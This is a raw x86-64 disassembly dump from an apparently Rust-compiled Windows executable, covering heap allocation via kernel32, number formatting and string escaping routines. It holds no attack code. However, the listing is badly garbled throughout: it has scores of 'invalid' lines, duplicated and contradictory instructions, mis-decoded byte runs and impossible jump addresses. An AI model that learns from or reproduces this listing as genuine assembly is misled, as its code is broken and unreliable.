sbb cl, byte [rax - 0x7d]
jge 0x14007095d
cmp qword [rbp + 0x10], 0x11
jb 0x140070954
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
invalid
invalid
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r12
dec rbx
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call r12
jmp case.0x140070279.13
nop dword [rax + rax]
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
je case.0x140070279.13
clc
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
jmp case.0x140070928.2
mov rdx, rcx
cmp rdx, 0x63
jbe case.0x14004bb40.370
mov dword [rsp + rax + 0x2e], edx
push rsp
add al, 0x2e
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
cli
or cl, byte [rdi]
sub edi, 1
add byte [rax], al
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
invalid
dec rax
jmp 0x140070bcf
add byte [rax], al
invalid
add byte [rax - 0x77], cl
retf 0x8348
invalid
mov rdx, rcx
cmp rdx, 0x63
cmp edx, 0x63
cmp edx, 0x63
jbe 0x140070a1b
xor dword [rdi], ecx
mov bh, 0xca
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
add byte [rax], al
add byte [rax], al
add cl, al
jmp 0x101724e0d
shr ecx, 0x11
imul r8d, ecx, 0x64
sub edx, r8d
movzx edx, dx
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add eax, 0x6dbf6
add eax, 0x6dbf6
movzx edx, word [r8 + rdx*2]
push rax
mov word [rsp + rax + 0x2e], dx
mov dword [rsp + rax + 0x2e], edx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x140070cb5
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp case.0x14004bb40.330
lea rdx, [rsp + 0x30]
lea edx, [rsp + 0x30]
call fcn.14006dd80
test rax, rax
je case.0x140041cc2.450
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
invalid
mov rdi, rax
mov rax, qword [r15]
mov eax, dword [rdi]
mov eax, dword [rdi]
mov r15, qword [rax]
lea rsi, [rsp + 0x30]
lea r12, [0x1400e7480]
and al, 0x6a
invalid
invalid
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140070a6f
xchg byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rdx, rsi
mov edx, esi
mov r8, rdi
call qword [rax + 0x18]
test al, al
je case.0x140041cc2.450
cmc
invalid
invalid
call case.0x1400477cd.451
add byte [rax], al
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add al, 0x84
add rax, r12
add eax, esp
add eax, esp
jmp rax
jne 0x140070af5
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140070ad1
cmp qword [rbp + 0x10], 0x11
jb case.0x14006f5b1.40
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
or eax, 0x7f757
xor edx, edx
mov r8, r14
call r13
dec rbx
mov rcx, qword [0x1400f0220]
invalid
invalid
invalid
xor edx, edx
mov r8, rbx
call r13
jmp 0x140070a6f
invalid
mov cl, byte [rax - 0x77]
fmul dword [rax - 0x3f]
shr eax, 0x20
cmp eax, 0x23
shr eax, 0x20
cmp eax, 0x23
je 0x140070a6f
mov rcx, rbx
jmp 0x140070793
xchg esi, eax
cld
invalid
invalid
xchg esi, eax
cld
invalid
inc dword [rax - 0x7c]
test byte [rdi], 0x84
invalid
test sil, sil
je case.0x140041cc2.450
and al, 0x20
and al, 0x20
mov rax, qword [rax]
mov rdi, qword [rax]
cmp byte [rbp + rcx*4 + 0x3d], cl
ret
or byte [rdi], al
add byte [rbp + 0x31], al
xor ebp, ebp
cmp byte [rbp + rcx*4 + 0x3d], cl
ret
xor ebp, ebp
lea rsi, [0x1400e7410]
jmp 0x140070b2e
adc byte [rbx], ah
jne case.0x140070928.2
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r8d, 1
and byte [r8 - 0x75], r9b
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov rdx, r15
call qword [rax + 0x18]
test al, al
je 0x14007079b
invalid
invalid
invalid
invalid
call case.0x1400477cd.451
mov rbx, rax
mov ebx, eax
and eax, 3
movsxd rax, dword [rsi + rax*4]
invalid
add al, 0x86
xchg byte [rax + 1], cl
invalid
jmp rax
invalid
invalid
or bl, dh
invalid
mov esp, dword [rbx + 7]
mov rcx, r14
mov ecx, esi
mov ecx, esi
int1
call qword [r12]
call qword [rsp]
cmp qword [r12 + 8], 0
je 0x140070b99
and al, 8
add byte [rdx + rbx + 0x49], dh
cmp qword [r12 + 0x10], 0x11
cmp qword [r12 + 0x10], 0x11
adc byte [rcx], dl
jb case.0x1400685d6.273
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call rbp
dec rbx
mov rcx, qword [0x1400f0220]
test byte [rdi], 0
test byte [rdi], 0
xor edx, edx
mov r8, rbx
call rbp
jmp 0x140070b2e
and byte [rbx - 0x7bf0dc08], al
jb 0x140070bb9
invalid
invalid
movzx ecx, word [r9 + rdx*2]
or al, 0x51
mov word [rsp + rax + 0x2e], cx
add al, 0x2e
add rax, 0xfffffffffffffffe
sar dh, 0x4d
dec byte [rbp - 0x7b]
sar byte [rcx + 8], 0xc6
add al, 0x2f
add al, 0x2f
test r8, r8
test eax, eax
jns case.0x14005f0f7.341
mov byte [rsp + rax + 0x2f], 0x2d
dec rax
add al, 0x2f
sub eax, 0x48c8ff48
mov edi, eax
mov rdi, rax
sub rdi, 0x14
sub edi, 0x14
je case.0x140041cc2.450
dec dword [rax - 9]
fisttp word [rax - 0x73]
sbb al, 4
neg rdi
lea rbx, [rsp + rax]
add rbx, 0x30
add ebx, 0x30
mov rax, qword [r15]
mov r15, qword [rax]
mov edi, dword [rax]
lea r12, [0x1400e74a0]
lea esp, [0x1400e74a0]
lea esp, [0x1400e74a0]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140070c1a
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r8 - 0x77], r9b
fimul dword [rcx - 0x77]
clc
and byte [r9 - 0x75], r9b
sub byte [r8 - 0x77], r9b
fimul dword [rcx - 0x77]
clc
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
invalid
invalid
invalid
invalid
ror byte [rdi], 0x84
jmp 0x129070c27
invalid
invalid
invalid
invalid
invalid
call case.0x1400477cd.451
mov rsi, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add al, 0x84
add dword [rax], eax
add byte [rax - 0x77], cl
mov byte [rbx + 0x634903e0], 4
and eax, 3
movsxd rax, dword [r12 + rax*4]
add al, 0x84
add rax, r12
add al, 0x84
add rax, r12
loopne switch.0x140070c45
jmp rax
loopne case.0x14002753a.642
jle 0x140070c59
and ecx, dword [rdi]
test dword [rdi], edi
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x76], cl
dec dword [rax - 0x75]
outsb dx, byte [rsi]
invalid
mov ebp, dword [rsi + 7]
mov rcx, r14
call qword [rbp]
push rbp
invalid
push rbp
add byte [rax - 0x7d], cl
invalid
invalid
jge 0x140070c6b
cmp qword [rbp + 8], 0
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
je case.0x140065df5.327
cmp qword [rbp + 0x10], 0x11
jb 0x140070c71
add al, 0x4d
mov esi, dword [rsi - 8]
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f0220]
or eax, 0x7f5a8
xor edx, edx
mov r8, r14
call r13
call rbp
call rbp
dec rsi
mov rcx, qword [0x1400f0220]
invalid
invalid
xor edx, edx
mov r8, rsi
call r13
jmp 0x140070c1a
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
clc
and ecx, dword [rdi]
test byte [rdx - 1], ch
invalid
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [rcx + rdx*2]
fld dword [rsi]
fld dword [rsi]
add byte [rdi], cl
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x2e], cx
add rax, 0xfffffffffffffffe
invalid
dec byte [rax - 0x77]
invalid
mov rdi, rax
sub rdi, 0x14
je case.0x140041cc2.450
neg rdi
lea rbx, [rsp + rax]
lea ebx, [rsp + rax]
lea ebx, [rsp + rax]
add rbx, 0x30
mov rax, qword [r15]
mov r15, qword [rax]
cmp byte [rbp + rcx*4 + 0x25], cl
ret 0x767
add byte [rbx + rcx*4 + 0x2d], cl
cmp eax, dword [rsi + 0x13eb0003]
invalid
cmp byte [rbp + rcx*4 + 0x25], cl
ret 0x767
adc esp, dword [rsi + 0xf]
invalid
nop word [rax + rax]
nop dword [rax + rax]
cmp byte [rsi + 0x10], 0x23
jne 0x140070d90
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
invalid
invalid
sub byte [r8 - 0x77], r9b
sub byte [rax - 0x77], cl
mov rdx, rbx
mov r8, rdi
fimul dword [rcx - 0x77]
clc
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
stc
invalid
invalid
invalid
sbb byte [rax + rax*8 - 0xd067bf1], al
invalid
invalid
call case.0x1400477cd.451
mov rsi, rax
and eax, 3
loopne 0x140070d31
loopne 0x140070d31
movsxd rax, dword [r12 + rax*4]
test byte [rcx + rax - 0x20], cl
add rax, r12
jmp rax
loopne case.0x14006fdaa.56
jle 0x140070d49
and esi, dword [rbp + 0x53]
mov r14, qword [rsi - 1]
mov rbp, qword [rsi + 7]
mov ebp, dword [rsi + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je case.0x140065df5.312
invalid
push rbp
add byte [rax - 0x7d], cl
jge 0x140070d57
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
sbb cl, byte [rax - 0x7d]
jge 0x140070d66
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140070d5d
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov esp, 0x310007f4
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r13
dec rsi
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
mov ecx, dword [0x1400f0220]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call r13
call rbp
call rbp
jmp 0x140070d0a
and byte [rbx - 0x7bf0dc08], al
jp 0x140070d8d
clc
and ecx, dword [rdi]
test byte [rdx - 1], bh
invalid
invalid
mov rcx, rsi
jmp 0x140070793
mov rcx, rax
jmp 0x1400708a3
mov r12, rax
mov esp, eax
invalid
jmp 0x140070790
dec esp
int3
int3
int3
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
movzx eax, byte [0x1400f02c0]
mov dh, 5
cmc
hlt
invalid
add byte [rax - 0x75], cl
or eax, 0x7f44e
invalid
add byte [rax - 0x7b], cl
leave
jne 0x140070df0
invalid
mov dh, 5
cmc
hlt
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140070ec8
loop 0x140070de4
add byte [rax], al
ror byte [rdi], 0x84
loop 0x140070de4
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
add byte [rax - 0x7b], cl
test rax, rax
je 0x140070ec8
ror byte [rdi], 0x84
rol dword [rax], 0
add byte [rax - 0x77], cl
mov rsi, rax
mov rsi, rax
movabs rax, 0x6f72726520746d66
mov eax, 0x20746d66
jb case.0x1400477cd.450
outsd dx, dword [rsi]
mov qword [rsi], rax
mov byte [rsi + 8], 0x72
movzx eax, byte [0x1400f02c0]
sahf
hlt
invalid
add byte [rax - 0x75], cl
or eax, 0x7f3f7
test rcx, rcx
test ecx, ecx
mov eax, 0x20746d66
insw word [rdi], dx
je 0x140070e30
jb case.0x1400477cd.450
sahf
hlt
test ecx, ecx
jne 0x140070e47
call qword [sym.imp.kernel32.dll_GetProcessHeap]
in al, 0x84
add eax, dword [rax]
test rax, rax
je 0x140070ed9
add byte [rax], al
test byte [rax + rax - 0x76b80000], bl
ror dword [rax - 0x77], 5
fpatan
invalid
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
retf
test byte [rbx], al
add byte [rax - 0x7b], cl
invalid
je 0x140070ed9
mov rdi, rax
mov qword [rax], rsi
mov dword [rax], esi
mov qword [rax + 8], 9
mov qword [rax + 0x10], 9
adc byte [rcx], cl
add byte [rax], al
add byte [rdi], cl
mov dh, 5
hlt
invalid
add byte [rax - 0x75], cl
mov ecx, dword [0x1400f0220]
invalid
invalid
add byte [rax - 0x7b], cl
leave
or byte [rcx], cl
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
adc byte [rcx], cl
add byte [rax], al
add byte [rdi], cl
mov dh, 5
hlt
invalid
invalid
add byte [rax - 0x7b], cl
leave
jne 0x140070e98
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
pop qword [rbx + rax - 0x3f7ab800]
je 0x140070eea
pop rsp
mov rcx, rax
mov qword [0x1400f0220], rax
invalid
invalid
invalid
invalid
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add byte [rax - 0x7b], cl
invalid
je 0x140070eea
add byte [rax - 0x7b], cl
sal byte [rdi + rdi + 0x48], 0x89
cmp byte [rax - 0x73], cl
lea rcx, fcn.1400093b0
mov qword [rax], rdi
lea rcx, fcn.1400093b0
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x27
adc byte [rdi], spl
adc byte [rdi], spl
invalid
inc rax
add rsp, 0x30
add esp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
add byte [rax], al
mov edx, 9
call fcn.1400a42a0
ud2
add al, ch
leave
xor eax, dword [rbx]
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x18
add byte [rax], al
call fcn.1400a42a0
ud2
mov qword [rbp - 0x10], rdi
mov ecx, 8
add byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.1400a42a0
xor eax, dword [rbx]
add byte [rdi], cl
invalid
xor eax, dword [rbx]
add byte [rdi], cl
or edx, dword [rax + 0x24548948]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, fcn.1400093b0
lea edx, [0x1400de4a8]
lea edx, [0x1400de4a8]
mov rcx, qword [rbp - 0x10]
call fcn.14007fd80
out dx, al
add byte [rax], al
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
cmp al, 4
movabs rdx, 0x7ed2e3b909ed5b8f
ret
invalid
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
sub esp, 0x68
in al, dx
invalid
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x40], rcx
mov rsi, qword [rcx]
mov esi, dword [rcx]
mov esi, dword [rcx]
lea r15, [0x1400e3634]
lea rdi, [0x1400e7598]
cmp eax, 0x76618
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14007112a.13
invalid
add byte [rax], 0
add byte [rax], al
cmp byte [r14 + 0x10], 0x23
jne case.0x140071515.2
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
add byte [rax], al
add byte [rax], al
mov rdx, r15
cli
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x84
jle 0x140070fb5
add byte [rax], al
ror byte [rdi], 0x84
jle 0x140070fb5
add byte [rax], al
call case.0x1400477cd.451
mov r14, rax
mov esi, eax
and eax, 3
loopne 0x140070fc5
dec dword [rcx - 0x77]
mov byte [rbx + 0x634803e0], 4
loopne 0x140070fc5
invalid
invalid
invalid
loopne 0x140070fc5
movsxd rax, dword [rdi + rax*4]
add rax, rdi
xchg dword [rax + 1], ecx
clc
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
mov r12, qword [r14 - 1]
mov rbx, qword [r14 + 7]
invalid
mov rcx, r12
invalid
loope 0x140070fe1
call qword [rbx]
cmp qword [rbx + 8], 0
invalid
je 0x140071004
adc ecx, dword [rax - 0x7d]
jnp 0x140070fef
add byte [rdx + rbx + 0x48], dh
cmp dword [rbx + 0x10], 0x11
adc byte [rcx], dl
cmp qword [rbx + 0x10], 0x11
jb 0x140070ff6
add eax, 0x24648b4d
clc
mov r12, qword [r12 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
mov eax, esp
mov eax, esp
call rbp
dec r14
dec esi
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call rbp
jmp case.0x14007112a.13
mov rax, r14
shr rax, 0x20
call 0x163ff934a
call 0x163ff934a
je case.0x14007112a.13
imul edi, edi, 0xffffffff
invalid
jmp case.0x140071515.2
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x48]
je 0x14007105d
xor byte [rax - 0x75], cl
push rsp
and al, 0x48
lea rax, [rsi + rdx]
lea eax, [rsi + rdx]
xor r8d, r8d
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
lea r15, [0x1400e7568]
invalid
invalid
ror byte [rax - 0x73], 0xd
in eax, 6
add byte [rbp + rcx*4 + 0x3d], cl
adc al, 0x65
invalid
mov r12, r8
mov esp, eax
nop word [rax + rax]
add byte [rax], al
add byte [rax + 0x39], cl
invalid
cmp rsi, rax
je 0x1400713bd
push rsp
add eax, dword [rax]
invalid
push rsp
add eax, dword [rax]
add byte [rbp - 0x77], cl
loope case.0x14006fdaa.66
mov r9, r12
inc r12
inc esp
inc esp
invalid
movzx ebx, byte [rsi]
inc rsi
movzx r13d, byte [rbx + rcx]
movzx ebp, byte [rbx + rcx]
test r13d, r13d
je 0x140071060
mov qword [rsp + 0x50], rax
mov rax, r9
mov eax, ecx
mov eax, ecx
sub rax, r8
sub eax, eax
mov qword [rsp + 0x60], rax
jbe 0x1400711a5
xchg byte [rax], dl
add dword [rax], eax
invalid
xchg byte [rax], dl
add dword [rax], eax
add byte [rbp - 0x7b], cl
test r8, r8
mov rdx, qword [rsp + 0x48]
adc byte [rcx], al
add byte [rax], al
test r8, r8
mov rdx, qword [rsp + 0x48]
je 0x1400710bb
cmp rdx, r8
jbe case.0x140065f9a.310
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
cmp byte [rax + r8], 0xc0
jge 0x1400710bb
jmp 0x140071599
jne 0x140071599
test esi, ebx
add al, 0
add byte [rcx + 0x39], cl
cmp ecx, edx
jae case.0x14006fdaa.72
cmp r9, rdx
jae case.0x14006fdaa.72
mov rax, qword [rsp + 0x30]
cmp byte [rax + r9], 0xbf
jg 0x1400710d7
jmp 0x140071599
jne 0x140071599
test edx, eax
add al, 0
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
add r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x58], r8
pop rax
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rdi, qword [rax]
mov rdi, qword [rax]
jmp 0x1400710fb
invalid
cmp byte [r14 + 0x10], 0x23
jne case.0x140071515.2
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov rdx, qword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x18]
test al, al
je 0x1400711a5
call case.0x1400477cd.451
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
xchg dword [rcx + rax - 8], ecx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
and ecx, dword [rdi]
test dword [rsi + 4], ecx
add byte [rax], al
mov rbp, qword [r14 - 1]
mov r15, qword [r14 + 7]
mov rcx, rbp
mov ecx, ebp
call qword [r15]
invalid
cmp qword [r15 + 8], 0
je 0x140071169
invalid
or eax, 0x7f0c2
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rcx - 0xb6fffd], 0xd8b48ce
lodsd eax, dword [rsi]
invalid
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r14
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
sub eax, 0x381b1
sub eax, 0x381b1
call rbp
lea r15, [0x1400e7568]
invalid
invalid
add cl, ch
outsb dx, byte [rsi]
invalid
invalid
invalid
invalid
invalid
mov rax, r14
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
je 0x1400710fb
jmp case.0x140071515.2
lea eax, [r13 - 0x5c]
cmp eax, 0x19
ja case.default.0x1400711bc
lea rcx, [0x1400e74e0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x140071207
lea rdi, [0x1400df537]
jmp 0x140071204
lea rdi, [0x1400df535]
cmp r13d, 0x22
je 0x140071204
jmp case.0x1400711bc.93
lea rdi, [0x1400df539]
jmp 0x140071204
invalid
lea rdi, [0x1400df53b]
jmp 0x140071204
invalid
sbb dword [rax - 0x73], ecx
cmp eax, 0x6e34b
lea rdi, [0x1400df53d]
jmp 0x140071204
lea rdi, [0x1400df53f]
jmp 0x140071204
lea rdi, [0x1400df541]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rax]
jmp 0x14007121b
cmp byte [r14 + 0x10], 0x23
jne case.0x140071515.2
mov rcx, qword [rbx + 0x20]
mov ecx, dword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov r8d, 2
mov rdx, rdi
call qword [rax + 0x18]
test al, al
je 0x1400713a4
call case.0x1400477cd.451
mov r14, rax
and eax, 3
lea rcx, [0x1400e7558]
or eax, 0x7630f
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
and ecx, dword [rdi]
test dword [rax], ebp
add eax, dword [rax]
add byte [rbp - 0x75], cl
outsb dx, byte [rsi]
dec dword [rcx - 0x75]
outsb dx, byte [rsi]
invalid
mov r13, qword [r14 - 1]
mov rbp, qword [r14 + 7]
mov rcx, r13
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140071292
cmp qword [rbp + 0x10], 0x11
jb 0x14007127d
mov r13, qword [r13 - 8]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
lodsb al, byte [rsi]
add byte [rbx], 0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r13
call rax
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
call rbp
jmp 0x14007121b
invalid
invalid
invalid
invalid
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x14007121b
jmp case.0x140071515.2
mov eax, ebx
and eax, 0xf
shr ebx, 4
add al, 0x48
lea edx, [0x1400df543]
add al, 0x48
lea edx, [0x1400df543]
movzx ecx, byte [rbx + rdx]
movzx eax, byte [rax + rdx]
mov dword [rsp + 0x3a], 0x3030755c
mov byte [rsp + 0x3e], cl
mov byte [rsp + 0x3f], al
mov rax, qword [rsp + 0x40]
mov rbx, qword [rax]
jmp 0x140071315
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call rbp
invalid
invalid
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call rbp
lea rdi, [rsp + 0x3a]
lea r13, [0x1400e7548]
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov r8d, 6
mov rdx, rdi
mov edx, edi
mov edx, edi
call qword [rax + 0x18]
test al, al
je 0x1400713a4
call case.0x1400477cd.451
mov r14, rax
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
invalid
cmp eax, 0x23
je 0x140071321
jmp case.0x140071515.2
sbb al, byte [rdx]
add byte [rax], al
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
test dword [rdi], ecx
add al, byte [rax]
invalid
test dword [rdi], ecx
add al, byte [rax]
add byte [rcx - 0x75], cl
jle 0x140071379
dec dword [rbp - 0x75]
outsb dx, byte [rsi]
invalid
mov r13, qword [r14 + 7]
mov rcx, rdi
call qword [r13]
cmp qword [r13 + 8], 0
je 0x140071304
cmp qword [r13 + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jb 0x1400712f6
mov rdi, qword [rdi - 8]
jmp 0x1400712f6
invalid
invalid
invalid
invalid
mov r8, r12
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
jmp 0x140071054
cmp rdx, r8
je 0x1400714c5
add byte [rbp - 0x7b], cl
sal byte [rsi + riz + 0x49], 0x89
xlatb
test r8, r8
je 0x1400713f1
mov r15, rdx
sub r15, r8
jbe 0x1400715b1
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x30]
cmp byte [rax + r8], 0xbf
jle 0x1400715b1
add byte [rax], al
add byte [rax], al
test r15, r15
jne 0x1400713fd
mov r15, rdx
test r15, r15
test edi, edi
test edi, edi
je 0x1400714c5
add qword [rsp + 0x30], r8
and al, 0x30
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rsi, qword [rax]
lea rdi, [0x1400e7578]
add bl, ch
invalid
add bl, ch
sbb byte [rsi + 0x66], ah
nop word cs:[rax + rax]
cmp byte [r14 + 0x10], 0x23
jne case.0x140071515.2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, r15
clc
clc
call qword [rax + 0x18]
test al, al
je 0x1400714c5
call case.0x1400477cd.451
mov r14, rax
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
dec dword [rcx - 0x77]
mov byte [rbx + 0x634803e0], 4
xchg dword [rax + 1], ecx
clc
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
test dword [rax], esp
add dword [rax], eax
invalid
test dword [rax], esp
add dword [rax], eax
add byte [rcx - 0x75], cl
pop rsi
dec dword [rbp - 0x75]
invalid
mov rbx, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rcx, rbx
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140071496
cmp qword [r12 + 0x10], 0x11
jb 0x140071488
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
invalid
ror byte [rcx - 0x77], cl
fdivr st(7)
invalid
dec r14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call rbp
jmp 0x14007142b
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x14007142b
jmp case.0x140071515.2
add byte [rax - 0x75], cl
and al, 0x40
mov rax, qword [rsp + 0x40]
mov rbx, qword [rax]
lea rsi, [0x1400e3634]
invalid
and dword [rdi], eax
add byte [rbp + rcx*4 + 0x3d], cl
lodsd eax, dword [rsi]
invalid
invalid
add bl, ch
invalid
invalid
cmp byte [r14 + 0x10], 0x23
jne case.0x140071515.2
invalid
add byte [rax], al
invalid
invalid
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov r8d, 1
add byte [rax], al
add byte [rax], al
mov rdx, rsi
call qword [rax + 0x18]
test al, al
je 0x140071582
call case.0x1400477cd.451
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
xchg dword [rcx + rax - 8], ecx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x140071515.2
mov rdi, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rcx, rdi
call qword [r12]
cmp qword [r12 + 8], 0
je 0x14007154f
cmp qword [r12 + 0x10], 0x11
jb 0x140071541
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call rbp
in al, dx
invalid
dec r14
dec esi
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call rbp
invalid
jmp 0x1400714eb
nop word cs:[rax + rax]
mov rax, r14
shr rax, 0x20
call 0x163ff989a
call 0x163ff989a
je 0x1400714eb
jmp case.0x140071515.2
xor r14d, r14d
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
